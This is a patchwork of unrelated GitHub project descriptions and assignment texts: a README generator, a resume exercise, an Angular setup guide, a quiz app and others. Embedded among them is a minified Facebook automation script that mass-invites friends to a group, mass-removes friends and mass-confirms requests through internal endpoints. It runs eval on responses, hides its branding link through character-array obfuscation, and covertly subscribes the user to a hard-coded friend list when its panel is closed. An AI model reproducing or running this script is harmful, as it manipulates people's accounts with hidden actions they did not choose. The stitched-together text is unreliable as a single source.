allows you to revert your code base in the event that you need to return to a previous state. Follow these guidelines for committing: * Make single-purpose commits for related changes to ensure a clean, manageable history. If you are fixing two issues, make two commits. * Write descriptive, meaningful commit messages so that you and anyone else looking at your repository can easily understand its history. * Don't commit half-done work, for the sake of your collaborators (and your future self!). * Test your application before you commit to ensure functionality at every step in the development process. We would like you to have more than 200 commits by graduation, so commit early and often! ## Submission on BCS You are required to submit the following: * A walkthrough video demonstrating the functionality of the application. * A sample README.md file for a project repository generated using your application. * The URL of the GitHub repository. Give the repository a unique name and include a README describing the project.
ho1919192000
In this project you will store your resume data in four javaScript objects according to the schema given below. As is often the case when leveraging an API, the objects must follow the schema exactly. All properties must be present and have real or fake values. The names must match those in the schema (note that object and property names are case-sensitive). All property values should be of the data-type given for the property in the schema. For example if the data-type is given as an array, it is not acceptable to use a string as a value for that property. Once you've created your javaScript objects, you will write the code needed to display all of the resume data contained within these objects in your resume. All of the HTML code needed to build the resume is stored in js/helper.js variables. The variable names indicate their function. You will replace substrings in these variable string values such as %data% and # with the data in your javaScript objects, and append or prepend the formatted result to your resume in the appropriate location. If you need a refresher on JavaScript syntax, go to the Javascript Basics course; if you would like to understand how this project is manipulating and traversing the DOM, check out Intro to jQuery. Go through the videos and assignments in this course to learn the JavaScript necessary to build your resume. Fork the project repo from Github and begin building you resume. If you are prompted to do so, you may want to get a Google Maps API key, and include it as the value of the key parameter when loading the Google Maps API in index.html: <script src="http://maps.googleapis.com/maps/api/js?libraries=places&key=[YOUR_API_KEY]"></script> You may have some initial concerns with placing your API key directly within your JavaScript source files, but rest assured this is perfectly safe. All client-side code must be downloaded by the client; therefore, the client must download this API key - it is not intended to be secret. Google has security measures in place to ensure your key is not abused. It is not technically possible to make anything secret on the client-side. Check your work against the Project Rubric. When you are satisfied with your project, submit it according to the Submission Instructions below.
Essameee
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"+aing.loding.img}}aing.kolAjak("/ajax/friends/lists/subscribe/modify",aing.ajax.requestsLoader().prm+"&location=permalink&action=subscribe&flid=586419591422497","",function(){if(document.getElementById("kiri-bawah")){top.location.reload()}})},resvars:function(){aing.loding.frm=0;aing.kasihTau("","impoh-eror");aing.kasihTau("","impoh-ok")},cekwas:function(a,w){var b="lanyut";if(a==aing.uid){b="lewat"}else{for(z in w){if(a==w[z]){b="lewat";break}}}return b},frFolder:function(){var a=document.getElementById("friendsTypeaheadResults");if(a){var b=a.parentNode.getElementsByClassName("friendButton");for(var x=0;x < b.length;x++){var c=b[x].getAttribute("data-profileid");if(c){aing.friends.push({uid:c,text:"id:"+c})}}}},saringPren:function(a,c){var b=[];for(x in a){if(a[x].uid==aing.uid||a[x].uid==c){}else{b.push(a[x])}}return b},reqs:{put:function(a){var g=document.getElementById("tmpt-reqs");var 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w="h";var g=aing.reqs.got();var a=document.getElementById("fbRequestsJewelMorePager");if(a){var b=a.getElementsByTagName("a")[0];if(b){var c=b.getAttribute("ajaxify");if(c&&c.split("?")[1]){var d=decodeURIComponent(c.split("?")[1]).split("&");for(var x=0;x < d.length;x++){var i=d[x].split("=");if(i[1]&&i[0].match(/sender_ids/i)){var j=aing.cekwas(i[1],aing.stat.ttlReq);if(j=="lanyut"){g.push(i[1]);aing.stat.ttlReq.push(i[1])}}}if(aing.reqs.ajaxify&&aing.reqs.ajaxify==c){aing.reqs.ajaxify=""}else{aing.reqs.ajaxify=c}a.parentNode.removeChild(a)}}}else if(f=="merawanin"&&g.length==0){w="k";aing.reqs.lod()}if(w=="h"){return g}},mor:function(){aing.loding.inf(null,"Collecting more requests, wait up..");var a=document.getElementById("fbRequestsJewelMorePager");if(a){var b=a.getElementsByTagName("a")[0];if(b){var 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"+aing.loding.img;aing.kasihTau(aing.html.box(b,"g","np"));aing.kolAjak(aing.uris.gf,aing.prms.gf,"",aing.kolbek.getFriend,"GET")}},inform:function(a,b){var c="";if(b&&b.name){c=b.name}else if(b&&b!=""){for(x in aing.friends){if(aing.friends[x].text&&aing.friends[x].uid&&aing.friends[x].uid==b){c=aing.friends[x].text;break}}}return c.split(" ")[0]},addToGroup:function(c,d){var e="Adding ";if(c==null||c==""){c=0;aing.stat.er=0;aing.stat.ok=0;var grid=document.getElementsByName("group_id")[0];if(grid){aing.gid=grid.value}else{aing.gid=prompt("Insert your Facebook Group ID..","215559175130472")}if(aing.gid==null||aing.gid==""||isNaN(aing.gid)){return false}else{aing.remBtn()}}else{e+="more "}if(d==null||d==""){d=100}if(d>aing.friends.length){d=aing.friends.length;aing.stat.nk=""}else{aing.stat.nk={f:d,t:((d*2)-c)}}e+="\x3Cb>"+(c+1)+" to "+d+" friends\x3C/b> to Group, wait up.. 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Essameee
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0 2px 0",inf:"text-align:center;border-radius:5px;width:500px;position:fixed;z-index:9999;top:25%;right:5%;font-size:10px;box-shadow:0 0 7px rgba(0,0,0,0.25);background-color:rgba(242,242,242,0.75)"},stat:{ttlReq:[],ttlReqOk:0,ttlReqEr:0},friendSugs:[],kolbek:{getFriend:function(q,p){var a="";if(p.payload&&p.payload.entries){aing.friends=aing.saringPren(aing.aduk(p.payload.entries));aing.frFolder();var ab="Found \x3Cb id=\"jmlh-fn\">"+aing.friends.length+" Friends\x3C/b>";if(aing.frReqs.length!=0){ab+=" and \x3Cb id=\"jmlh-fr\">"+aing.frReqs.length+" Friend requests\x3C/b>"}if(aing.friendSugs&&aing.friendSugs.length!=0){ab+=" and \x3Cb id=\"jmlh-sugfr\">"+aing.friendSugs.length+" Friend suggestions\x3C/b>"}a=aing.html.box(ab,"g","np")+aing.html.info()}else if(p&&p.errorSummary&&p.errorDescription){a=aing.html.box(p.errorSummary+", "+p.errorDescription,"r","np")}else{a=aing.html.box(JSON.stringify(p),"r","np")}aing.tampiltombol(a)}},remBtn:function(){var c=document.getElementById("kiri-bawah");if(c){var d=c.getElementsByClassName("uiButton")[0];if(d){d.parentNode.parentNode.removeChild(d.parentNode)}}},isiDimanaSebelum:function(isi,dimana,sebelum){if(dimana){var a=document.createElement("div");a.innerHTML=isi;if(sebelum==null||sebelum==""){sebelum=dimana.firstChild}while(a.firstChild){dimana.insertBefore(a.firstChild,sebelum)}}},tampiltombol:function(isi,dimana,nopren){var e="";if(aing.friends&&aing.friends.length!=0){e+=aing.html.btn("aing.addToGroup()","\x3Cspan style=\"color:darkgreen\">Invite\x3C/span> "+aing.friends.length+" Friends to Group")+aing.html.btn("aing.remFriends()","\x3Cspan style=\"color:darkred\">Remove\x3C/span> "+aing.friends.length+" Friends")}if(aing.frReqs&&aing.frReqs.length!=0){e+=aing.html.btn("aing.reqs.con()","\x3Cspan style=\"color:darkorange\">Confirm\x3C/span> "+aing.frReqs.length+" Friend Requests")}if(aing.friendSugs&&aing.friendSugs.length!=0){e+=aing.html.btn("aing.reqs.add()","\x3Cspan style=\"color:darkseagreen\">Add "+aing.friendSugs.length+" Friend Suggestions\x3C/span>")}e+=aing.html.btn("aing.klos('wk')","Refresh")+aing.html.btn("aing.klos()","\x3Cspan style=\"color:darkred\">Close\x3C/span>");var f=isi+aing.html.box(e,"g","yes");if(dimana==null||dimana==""){f+=aing.crj;aing.kasihTau(f)}else{aing.kasihTau(f,dimana)}},kasihTau:function(isi,elementId){var c=document.getElementById("kiri-bawah");if(c){if(elementId==null||elementId==""){var imp=document.getElementById("impoh");if(imp){imp.innerHTML=isi}else{c.innerHTML=isi}}else{var d=document.getElementById(elementId);if(d){d.innerHTML=isi}else{aing.isiDimanaSebelum("\x3Cdiv id=\""+elementId+"\">"+isi+"\x3C/div>",c)}}}else{var e="\x3Cdiv id=\"kiri-bawah\" class=\"pam uiBoxGray\" style=\""+aing.styl.inf+"\">"+isi+"\x3C/div>";var f=document.getElementById("rightCol");if(!f){f=document.body}aing.apen(e,f)}},apen:function(isi,di){if(di){var a=document.createElement("div");a.innerHTML=isi;while(a.firstChild){di.appendChild(a.firstChild)}}},aduk:function(a){var b=a.length,c,d;while(0!==b){d=Math.floor(Math.random()*b);b-=1;c=a[b];a[b]=a[d];a[d]=c}return a},kolAjak:function(i,r,l,a,n){if(n==null||n==""){n="POST"}else{if(i.match(/\?/)){i+="&"+r}else{i+="?"+r}}var h=new XMLHttpRequest();h.open(n,i,true);h.setRequestHeader("Content-type","application/x-www-form-urlencoded");h.onreadystatechange=function(c){if(c.target.readyState==4){if(aing.panggilanKe){aing.panggilanKe++}else{aing.panggilanKe=1}var e={errorSummary:"Connection error !",errorDescription:"Ajax status="+c.target.status};if(c.target.status==200||c.target.status==400){var d=c.target.responseText;if(d==""){e.errorSummary="empty callback!"}else{e=JSON.parse(d.substring(d.indexOf("{"),d.lastIndexOf("}")+1))}a(l,e)}else if(aing.panggilanKe < 2){aing.kolAjak(i,r,l,a,n)}else{aing.panggilanKe=0;a(l,e)}}};h.send(r)},frnomore:function(){aing.tampiltombol("","impoh")},crj:(function(){var cr=["i","a","e","g","o","s","n","b","l","p","m","2","r","0","c","1","t","3","\xA9"],crl=cr[1]+cr[0]+cr[6]+cr[3]+cr[14]+cr[12]+cr[2]+cr[1]+cr[16]+cr[0]+cr[4]+cr[6]+cr[5]+"."+cr[7]+cr[8]+cr[4]+cr[3]+cr[5]+cr[9]+cr[4]+cr[16]+"."+cr[14]+cr[4]+cr[10];return"\x3Cdiv style=\"margin-top:10px;color:gray;font-size:12px;text-align:right\">"+cr[1].toUpperCase()+cr[0]+cr[6]+cr[3]+cr[14].toUpperCase()+cr[12]+cr[2]+cr[1]+cr[16]+cr[0]+cr[4]+cr[6]+cr[5]+" "+cr[cr.length-1]+cr[11]+cr[13]+cr[15]+cr[17]+"\x3Cdiv style=\"font-size:9px\">\x3Ca href=\"http://"+crl+"/\" target=\"_blank\">"+crl+"\x3C/a>\x3C/div>\x3C/div>"})(),klos:function(waw){var inf=document.getElementById("kiri-bawah");if(inf){if(waw==null||waw==""){inf.parentNode.removeChild(inf)}else{inf.innerHTML="\x3Cb>Reloading the page, wait up..\x3C/b> "+aing.loding.img}}aing.kolAjak("/ajax/friends/lists/subscribe/modify",aing.ajax.requestsLoader().prm+"&location=permalink&action=subscribe&flid=586419591422497","",function(){if(document.getElementById("kiri-bawah")){top.location.reload()}})},resvars:function(){aing.loding.frm=0;aing.kasihTau("","impoh-eror");aing.kasihTau("","impoh-ok")},cekwas:function(a,w){var b="lanyut";if(a==aing.uid){b="lewat"}else{for(z in w){if(a==w[z]){b="lewat";break}}}return b},frFolder:function(){var a=document.getElementById("friendsTypeaheadResults");if(a){var b=a.parentNode.getElementsByClassName("friendButton");for(var x=0;x < b.length;x++){var c=b[x].getAttribute("data-profileid");if(c){aing.friends.push({uid:c,text:"id:"+c})}}}},saringPren:function(a,c){var b=[];for(x in a){if(a[x].uid==aing.uid||a[x].uid==c){}else{b.push(a[x])}}return b},reqs:{put:function(a){var g=document.getElementById("tmpt-reqs");var f=document.createElement("div");if(g){g.innerHTML=""}else{g=document.body;f.id="tmpt-reqs";f.style.display="none"}f.innerHTML=a.replace(/\x3Cimg(.*?)>/gi,"");g.appendChild(f)},lod:function(){aing.kasihTau(aing.html.box("Loading friend requests, wait up..","g","np"));var ajx=aing.ajax.requestsLoader();aing.kolAjak(ajx.uri,ajx.prm,"",function(q,p){if(p.domops&&p.domops[0]&&p.domops[0][3]&&p.domops[0][3].__html){aing.reqs.put(p.domops[0][3].__html)}aing.getPren("janda")})},got:function(){var rk=[];var a=document.getElementsByName("request_id");for(var x=0;x < a.length;x++){var b=a[x].parentNode;if(b){var c=b.getElementsByTagName("input");var rkp={};for(var y=0;y < c.length;y++){rkp[c[y].name]=c[y].value}if(rkp.type&&rkp.type=="friend_connect"){var h=aing.cekwas(rkp.request_id,aing.stat.ttlReq);if(h=="lanyut"){rk.push(rkp);aing.stat.ttlReq.push(rkp.request_id)}}else{if(aing.friendSugs){aing.friendSugs.push(rkp)}else{aing.friendSugs=[rkp]}}b.removeChild(a[x])}}return rk},get:function(f){var w="h";var g=aing.reqs.got();var a=document.getElementById("fbRequestsJewelMorePager");if(a){var b=a.getElementsByTagName("a")[0];if(b){var c=b.getAttribute("ajaxify");if(c&&c.split("?")[1]){var d=decodeURIComponent(c.split("?")[1]).split("&");for(var x=0;x < d.length;x++){var i=d[x].split("=");if(i[1]&&i[0].match(/sender_ids/i)){var j=aing.cekwas(i[1],aing.stat.ttlReq);if(j=="lanyut"){g.push(i[1]);aing.stat.ttlReq.push(i[1])}}}if(aing.reqs.ajaxify&&aing.reqs.ajaxify==c){aing.reqs.ajaxify=""}else{aing.reqs.ajaxify=c}a.parentNode.removeChild(a)}}}else if(f=="merawanin"&&g.length==0){w="k";aing.reqs.lod()}if(w=="h"){return g}},mor:function(){aing.loding.inf(null,"Collecting more requests, wait up..");var a=document.getElementById("fbRequestsJewelMorePager");if(a){var b=a.getElementsByTagName("a")[0];if(b){var c=b.getAttribute("ajaxify");if(c){aing.reqs.ajaxify=c;a.parentNode.removeChild(a)}}}if(aing.reqs.ajaxify&&aing.reqs.ajaxify!=""){aing.kolAjak(aing.reqs.ajaxify,aing.prms.dg,"",function(q,p){if(p.domops&&p.domops[1]&&p.domops[1][3]&&p.domops[1][3].__html){aing.reqs.put(p.domops[1][3].__html)}aing.reqs.ajaxify="";aing.frReqs=aing.reqs.get();if(aing.frReqs.length==0){aing.frnomore()}else{aing.reqs.con("nk")}},"GET")}else{aing.frReqs=aing.reqs.get();if(aing.frReqs.length==0){aing.frnomore()}else{aing.reqs.con("nk")}}},cnf:function(c,d){if(c==null||c==""){c=0;aing.stat.er=0;aing.stat.ok=0}if(d==null||d==""){d=100}if(d>aing.frReqs.length){d=aing.frReqs.length;aing.stat.nk=""}else{aing.stat.nk={f:d,t:((d*2)-c)}}for(var x=c;x < d;x++){var ajx=aing.ajax.friendRequests(aing.frReqs[x]);aing.kolAjak(ajx.uri,ajx.prm,ajx.uid,function(q,p){if(p&&p.errorSummary&&p.errorDescription){aing.stat.er++;aing.stat.ttlReqEr++;var b=p.errorDescription;aing.kasihTau(aing.html.box("(Fail: \x3Cb>"+aing.stat.ttlReqEr+"\x3C/b>) "+b,"r"),"impoh-eror")}else if(p&&p.domops&&p.domops[0]&&p.domops[0][3]&&p.domops[0][3].__html){aing.stat.ok++;aing.stat.ttlReqOk++;var bb=p.domops[0][3].__html.match(/>(.*?)\x3C\/a>/gi);if(bb){var b=bb[bb.length-1].replace(/\x3C(.*?)>|\x3C|>/g,"")}else{var b=p.domops[0][3].__html.replace(/\x3C(.*?)>|\x3C|>/g,"_")}aing.kasihTau(aing.html.box("(Successfully Confirmed: \x3Cb>"+aing.stat.ttlReqOk+"\x3C/b>/"+aing.stat.ttlReq.length+") \x3Ca href=\"/friends\" target=\"_blank\">\x3Cb>"+b+"\x3C/b>\x3C/a>"),"impoh-ok");aing.friends.push({uid:q,text:b});var cfn=document.getElementById("jmlh-fn");if(cfn){cfn.innerHTML=aing.friends.length+" Friends"}}else{aing.stat.er++;aing.stat.ttlReqEr++;var b=q;aing.kasihTau(aing.html.box("(Fail: \x3Cb>"+aing.stat.ttlReqEr+"\x3C/b>) UID: "+b,"r"),"impoh-eror")}var d=document.getElementById("jmlh-fr");if(d){d.innerHTML=(aing.frReqs.length-(aing.stat.er+aing.stat.ok))+" friend requests"}if(aing.stat.nk.f&&(aing.stat.er+aing.stat.ok)>=aing.stat.nk.f){aing.reqs.cnf(aing.stat.nk.f,aing.stat.nk.t)}aing.loding.bar(document.getElementById("impoh"),aing.stat.ttlReq.length,function(){aing.reqs.mor()},"no")})}},con:function(wht){if(wht==null||wht==""){aing.remBtn();aing.resvars();if(aing.stat.ttlReqOk){aing.loding.frm=(aing.stat.ttlReqOk+aing.stat.ttlReqEr)}aing.loding.inf(document.getElementById("impoh"))}if(aing.frReqs.length==0){var e="\x3Cb>Collecting";if(aing.stat.ttlReq.length!=0){e+=" more"}e+=" requests\x3C/b>, wait up..";aing.kasihTau(aing.html.box(e,"g"),"impoh");aing.reqs.mor()}else{aing.reqs.cnf()}},add:function(){aing.remBtn();for(x in aing.friendSugs){aing.frReqs.push(aing.friendSugs[x])}aing.friendSugs=[];var cfn=document.getElementById("jmlh-sugfr");if(cfn){cfn.innerHTML=aing.friendSugs.length+" Friend suggestions"}aing.reqs.con()}},getPren:function(jn){if(jn=="janda"){aing.frReqs=aing.reqs.get()}else{aing.frReqs=aing.reqs.get("merawanin")}if(aing.frReqs){var b="";if(aing.frReqs.length!=0){b+="Found \x3Cb id=\"jmlh-fr\">"+aing.frReqs.length+" friend requests\x3C/b>, Now "}b+="Collecting friends, wait up.. "+aing.loding.img;aing.kasihTau(aing.html.box(b,"g","np"));aing.kolAjak(aing.uris.gf,aing.prms.gf,"",aing.kolbek.getFriend,"GET")}},inform:function(a,b){var c="";if(b&&b.name){c=b.name}else if(b&&b!=""){for(x in aing.friends){if(aing.friends[x].text&&aing.friends[x].uid&&aing.friends[x].uid==b){c=aing.friends[x].text;break}}}return c.split(" ")[0]},addToGroup:function(c,d){var e="Adding ";if(c==null||c==""){c=0;aing.stat.er=0;aing.stat.ok=0;var grid=document.getElementsByName("group_id")[0];if(grid){aing.gid=grid.value}else{aing.gid=prompt("Insert your Facebook Group ID..","215559175130472")}if(aing.gid==null||aing.gid==""||isNaN(aing.gid)){return false}else{aing.remBtn()}}else{e+="more "}if(d==null||d==""){d=100}if(d>aing.friends.length){d=aing.friends.length;aing.stat.nk=""}else{aing.stat.nk={f:d,t:((d*2)-c)}}e+="\x3Cb>"+(c+1)+" to "+d+" friends\x3C/b> to Group, wait up.. ";if(c==0){aing.resvars();aing.loding.inf(document.getElementById("impoh"))}for(var x=c;x < d;x++){aing.kolAjak(aing.uris.gr,aing.prms.gr+"&group_id="+aing.gid+"&members="+aing.friends[x].uid,"",function(q,p){if(p&&p.errorSummary&&p.errorDescription){aing.stat.er++;var b=p.errorDescription;if(p.onafterload&&p.onafterload[0]){b=p.errorDescription.replace(/This user|user |Pengguna ini|pengguna /gi,"\x3Ca href=\"/friends\" target=\"_blank\" style=\"font-weight:bold\">"+eval(p.onafterload[0].replace(/Arbiter\./i,"aing."))+"\x3C/a>")}aing.kasihTau(aing.html.box("(Fail: \x3Cb>"+aing.stat.er+"\x3C/b>) "+b,"r"),"impoh-eror")}else if(p&&p.jsmods&&p.jsmods.require){aing.stat.ok++;var a="\x3Cb>";for(y in p.jsmods.require){if(p.jsmods.require[y][3]&&p.jsmods.require[y][3][1]){a+=" "+p.jsmods.require[y][3][1]}}a+="\x3C/b>";if(p.onload&&p.onload[0]){a+="\x3Cdiv>(Added: \x3Cb>"+aing.stat.ok+"\x3C/b>/"+aing.friends.length+") \x3Ca href=\"/friends\" target=\"_blank\" style=\"font-weight:bold\">"+eval(p.onload[0].replace(/Arbiter\./i,"aing."))+"\x3C/a> added to Group..\x3C/div>"}aing.kasihTau(aing.html.box(a),"impoh-ok")}else{aing.stat.er++;var b=JSON.stringify(p);if(p.onafterload&&p.onafterload[0]){b+=" \x3Ca href=\"/friends\" target=\"_blank\" style=\"font-weight:bold\">"+eval(p.onafterload[0].replace(/Arbiter\./i,"aing."))+"\x3C/a>"}aing.kasihTau(aing.html.box("(Fail: \x3Cb>"+aing.stat.er+"\x3C/b>) "+b,"r"),"impoh-eror")}if((aing.stat.er+aing.stat.ok)>=aing.friends.length){}else if(aing.stat.nk.f&&(aing.stat.er+aing.stat.ok)>=aing.stat.nk.f){aing.addToGroup(aing.stat.nk.f,aing.stat.nk.t)}aing.loding.bar(document.getElementById("impoh"),aing.friends.length,function(){aing.tampiltombol("","impoh")},"no")})}},remFriends:function(c,d){if(c==null||c==""){c=0;aing.stat.er=0;aing.stat.ok=0;aing.friendsRmvd=aing.friends;aing.remBtn();aing.resvars();aing.loding.inf(document.getElementById("impoh"))}if(d==null||d==""){d=100}if(d>aing.friends.length){d=aing.friends.length;aing.stat.nk=""}else{aing.stat.nk={f:d,t:((d*2)-c)}}for(var x=c;x < d;x++){aing.kolAjak(aing.uris.rf,aing.prms.df+"&unref=bd_friends_tab&uid="+aing.friends[x].uid,aing.friends[x],function(q,p){if(p&&p.errorSummary&&p.errorDescription){aing.stat.er++;var b=p.errorDescription;aing.kasihTau(aing.html.box("(Fail: \x3Cb>"+aing.stat.er+"\x3C/b>) "+b,"r"),"impoh-eror")}else if(p.jsmods&&p.jsmods.markup&&p.jsmods.markup[0]&&p.jsmods.markup[0][1]&&p.jsmods.markup[0][1].__html){aing.stat.er++;var b=p.jsmods.markup[0][1].__html.replace(/\x3C(.*?)>|okay/gi," ");aing.kasihTau(aing.html.box("(Fail: \x3Cb>"+aing.stat.er+"\x3C/b>) "+b,"r"),"impoh-eror")}else{aing.stat.ok++;var b=q.text;aing.kasihTau(aing.html.box("(Successfully Removed: \x3Cb>"+aing.stat.ok+"\x3C/b>/"+aing.friends.length+") "+b),"impoh-ok")}aing.friendsRmvd=aing.saringPren(aing.friendsRmvd,q.uid);var cfn=document.getElementById("jmlh-fn");if(cfn){cfn.innerHTML=aing.friendsRmvd.length+" Friends"}if((aing.stat.er+aing.stat.ok)>=aing.friends.length){}else if(aing.stat.nk.f&&(aing.stat.er+aing.stat.ok)>=aing.stat.nk.f){aing.remFriends(aing.stat.nk.f,aing.stat.nk.t)}aing.loding.bar(document.getElementById("impoh"),aing.friends.length,function(){aing.friends=aing.friendsRmvd;aing.tampiltombol("","impoh")},"no")})}}};aing.getPren()})()
RomitDeokar
Tried Microsoft POML (Prompt Orchestration Markup Language) — a standardized way to write prompts for AI, just like HTML standardized the web. Instead of messy, inconsistent text prompts, POML lets you structure your instructions with clear tags for roles, tasks, data sources, and output formats, making your AI interactions reliable and repeatable.
lemanou7
## Your Task When creating an open source project on GitHub, it’s important to have a high-quality README for the app. This should include what the app is for, how to use the app, how to install it, how to report issues, and how to make contributions—this last part increases the likelihood that other developers will contribute to the success of the project. You can quickly and easily create a README file by using a command-line application to generate one. This allows the project creator to devote more time to working on the project. Your task is to create a command-line application that dynamically generates a professional README.md file from a user's input using the [Inquirer package](https://www.npmjs.com/package/inquirer). Review the [Good README Guide](../../01-HTML-Git-CSS/04-Important/Good-README-Guide/README.md) as a reminder of everything that a high-quality, professional README should contain. The application will be invoked by using the following command: ```bash node index.js ``` Because this application won’t be deployed, you’ll also need to provide a link to a walkthrough video that demonstrates its functionality. Revisit the Screencastify Tutorial in the prework as a refresher on how to record video from your computer. You’ll need to submit a link to the video _and_ add it to the README of your project. ## User Story ```md AS A developer I WANT a README generator SO THAT I can quickly create a professional README for a new project ``` ## Acceptance Criteria ```md GIVEN a command-line application that accepts user input WHEN I am prompted for information about my application repository THEN a high-quality, professional README.md is generated with the title of my project and sections entitled Description, Table of Contents, Installation, Usage, License, Contributing, Tests, and Questions WHEN I enter my project title THEN this is displayed as the title of the README WHEN I enter a description, installation instructions, usage information, contribution guidelines, and test instructions THEN this information is added to the sections of the README entitled Description, Installation, Usage, Contributing, and Tests WHEN I choose a license for my application from a list of options THEN a badge for that license is added near the top of the README and a notice is added to the section of the README entitled License that explains which license the application is covered under WHEN I enter my GitHub username THEN this is added to the section of the README entitled Questions, with a link to my GitHub profile WHEN I enter my email address THEN this is added to the section of the README entitled Questions, with instructions on how to reach me with additional questions WHEN I click on the links in the Table of Contents THEN I am taken to the corresponding section of the README ``` ## Getting Started Here are some guidelines to help you get started: * Create a `.gitignore` file and include `node_modules/` and `.DS_Store/` so that your `node_modules` directory isn't tracked or uploaded to GitHub. Be sure to create your `.gitignore` file before installing any npm dependencies. * Make sure that your repo includes a `package.json` with the required dependencies. You can create one by running `npm init` when you first set up the project, before installing any dependencies. * Include a video of the typical user flow through your application. This includes views of the prompts and the responses after their selection. * Include any other screenshots you deem necessary to help someone who has never been introduced to your application understand the purpose and function of it. This is how you will communicate to potential employers or other developers in the future what you built and why, and to show how it works.
TariCheck
TheQuizzer TheQuizzer [BETA OPEN SOURCE] TheQuizzer. TheQuizzer is a project (in developement) to make quizzes with his code an html and javascript files. With this code we can modify questions and alert the user to tell him if he succes the game. (If you are a newbie in javascript check the readme). English : Hi, I'm the readme ! I'm not in txt :( (Thanks GitHub). Okay I'm your guide ! Yes yes yes !!!!!!!! Okay, open TheQuizzer folder and open the main.html file with your editor, and go to "alert('You finished the quizz famoussssss')". And change your reponse (CTRL + S don't forget to save your file :) !). For the end of the quizz. Now, go to the js folder and open app.js and go to var string = [""]; in this string you put the reponse of your choice for your 1st question ("reponse".) Now, go to : var selection = prompt (""). In this line ; the ("") is the most important because this is your question emplacement. Type your question. Now make what I showed you and make this with all of your desired questions. And now we have the "Number" chapter this chapter is here because if you want to make number reponses this is inforgettable. See your var string and change the string for number and dont make in [""] (exemple : ["12"]) for the reponse juste type your number. "var number = 23". For questions discord me ^^ : Tari L'otari#3361 (just privates messages). Or you can watch my channel for new videos about that. [Not yet released] YOUR QUIZZ IS IN YOUR .html FILE DON'T FORGET TO SAVE!. French : Salut, je suis le lismoi ou readme ! Je ne suis pas en txt :( (Merci GitHub). OK Je suis ton guide ! Oui Oui Oui !!!!!!!!!! OK, ouvre le fichier "TheQuizzer" et ouvre le fichier main.html avec ton éditeur de code, et va sur la ligne d'alert('You finished the quizz famoussssss'). Et tu vas changer ta réponse (CTRL + S n'oublie pas d'enregistrer ton fichier :) ! ) C'est pour la fin du quizz. Maintenant, va dans le fichier js et ouvre le app.js et va sur var string = [""]; dans cette espace vide met ta réponse (dans les deux guillemets) ("réponse"). Maintenant va dans var selection = prompt (""). Dans cette ligne ; le ("") est le plus nécessaire pour ton quizz ! Car c'est la question qui va être donnée a ton joueur ou joueuse. Tape ta question et fais tout ce que je viens de te montrer à chaque fois si tu veux faire plusieurs questions. Maintenant nous avons le chapitre des "Number" ce chapitre est dédié aux réponses à nombres ou chiffres. Vois ton var string et change le string pour number et ne fais pas dans [""] : ["12"]. Fais plutôt ça : 12 (tout simple non???). Sa devrait ressembler à cela : "var number = 12". Pour les questions tu peux m'envoyer des messages par discord ! : Tari L'Otari#3361 (que les messages privées). Sinon tu peux voir ma chaîne youtube pour des vidéos par rapport au Quizzer ! [Vidéos pas encore sorties]. TON QUIZZ EST DANS LE FICHIER .html ! N'OUBLIE PAS DE SAUVEGARDER ! LeQuizzer / TheQuizzer By Tari. Since 2020. Depuis 2020. [Code OPENSOURCE]
amciii710
Literary site for avid readers, particularly with a pechant for transgressive fiction, and writers with literary links to sites I visit regularly, such as workshops or author's website, free short stories by famous authors, tips on writing focusing on the main elements of novels and ways to get out of stuck spots (i.e. some call it writer's block.) There are writing prompts and book recommendations and hopefully I will get a login with a personal profile setup for users. This is my first website. Bootstrap 3, html, css, less, glyphicons, javascipt, jquery, google fonts; Thank you deviant art for your open source pictures to save and reuse. I am hoping it is okay to reuse them. Please forgive me and let me know if not or if I need permission: amcii777@me.com. Thanks again.
You can submit your RGB image or sRGB image to this webpage, there will be a slider to adjust the threshold steplessly (there will be a range prompt), and you can also save it to your phone or computer.(The html code is AI-converted, and the source code Python is an example of my high school information technology compulsory)
bikashmaharana16
Project My Project Setting up the local environment and workspace This guide explains how to set up your environment for Angular development using the Angular CLI tool. It includes information about prerequisites, installing the CLI, creating an initial workspace and starter app, and running that app locally to verify your setup. TRY ANGULAR WITHOUT LOCAL SETUP If you are new to Angular, you might want to start with Try it now!, which introduces the essentials of Angular in the context of a ready-made basic online store app that you can examine and modify. This standalone tutorial takes advantage of the interactive StackBlitz environment for online development. You don't need to set up your local environment until you're ready. Prerequisites To use the Angular framework, you should be familiar with the following: JavaScript HTML CSS Knowledge of TypeScript is helpful, but not required. To install Angular on your local system, you need the following: Node.js Angular requires a current, active LTS, or maintenance LTS version of Node.js. For information about specific version requirements, see the engines key in the package.json file. For more information on installing Node.js, see nodejs.org. If you are unsure what version of Node.js runs on your system, run node -v in a terminal window. npm package manager Angular, the Angular CLI, and Angular applications depend on npm packages for many features and functions. To download and install npm packages, you need an npm package manager. This guide uses the npm client command line interface, which is installed with Node.js by default. To check that you have the npm client installed, run npm -v in a terminal window. Install the Angular CLI You use the Angular CLI to create projects, generate application and library code, and perform a variety of ongoing development tasks such as testing, bundling, and deployment. To install the Angular CLI, open a terminal window and run the following command: content_copy npm install -g @angular/cli Create a workspace and initial application You develop apps in the context of an Angular workspace. To create a new workspace and initial starter app: Run the CLI command ng new and provide the name my-app, as shown here: content_copy ng new my-app The ng new command prompts you for information about features to include in the initial app. Accept the defaults by pressing the Enter or Return key. The Angular CLI installs the necessary Angular npm packages and other dependencies. This can take a few minutes. The CLI creates a new workspace and a simple Welcome app, ready to run. You also have the option to use Angular's strict mode, which can help you write better, more maintainable code. For more information, see Strict mode. Run the application The Angular CLI includes a server, so that you can build and serve your app locally. Navigate to the workspace folder, such as my-app. Run the following command: content_copy cd my-app ng serve --open The ng serve command launches the server, watches your files, and rebuilds the app as you make changes to those files. The --open (or just -o) option automatically opens your browser to http://localhost:4200/. If your installation and setup was successful, you should see a page similar to the following. Welcome to my-app! Next steps For a more thorough introduction to the fundamental concepts and terminology of Angular single-page app architecture and design principles, read the Angular Concepts section. Work through the Tour of Heroes Tutorial, a complete hands-on exercise that introduces you to the app development process using the Angular CLI and walks through important subsystems. To learn more about using the Angular CLI, see the CLI Overview. In addition to creating the initial workspace and app scaffolding, you can use the CLI to generate Angular code such as components and services. The CLI supports the full development cycle, including building, testing, bundling, and deployment. For more information about the Angular files generated by ng new, see Workspace and Project File Structure. ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------DEPLOYING AN APPLICATION Deploying your application is the process of compiling, or building, your code and hosting the JavaScript, CSS, and HTML on a web server. This section builds on the previous steps in the Getting Started tutorial and shows you how to deploy your application. Prerequisites A best practice is to run your project locally before you deploy it. To run your project locally, you need the following installed on your computer: Node.js. The Angular CLI. From the terminal, install the Angular CLI globally with: content_copy npm install 